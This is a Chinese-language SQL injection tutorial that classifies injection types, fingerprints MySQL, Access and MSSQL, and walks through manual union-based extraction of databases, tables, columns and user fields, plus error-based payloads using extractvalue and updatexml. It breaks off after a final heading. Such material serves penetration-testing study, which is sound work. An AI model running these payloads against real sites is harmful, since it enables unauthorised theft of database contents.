SQL注入原理
当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。
SQL注入的分类
按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
按数据库类型分:
sql:oracle、MySQL、mssql、access、sqlite、postgersqlnosql:mongodb、redis
MySQL与MSSQL及ACCESS之间的区别
1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
判断三种数据库的语句
MySQL:and length(user())>10
ACCESS:and (select count(*)from MSysAccessObjects)>0
MSSQL:and (select count(*)from sysobjects)>0
基本手工注入流程
1.判断注入点
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#
2.获取字段数
order by 二分法联合查询字段数,观察页面变化从而确定字段数
order by 1
order by 50
group by 译为分组,注入时也可使用,不过我没用过
3.查看显示位尝试使用联合注入
利用and 1=2或and 0及id=-12查看显示数据的位置
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)
and 1=2 union select version(),2,3
再查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3
查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3
查询字段内容
如:查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起
union select(select group_concat(id,'~',uname)from test.users),2,3
报错注入
通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
POST中的报错注入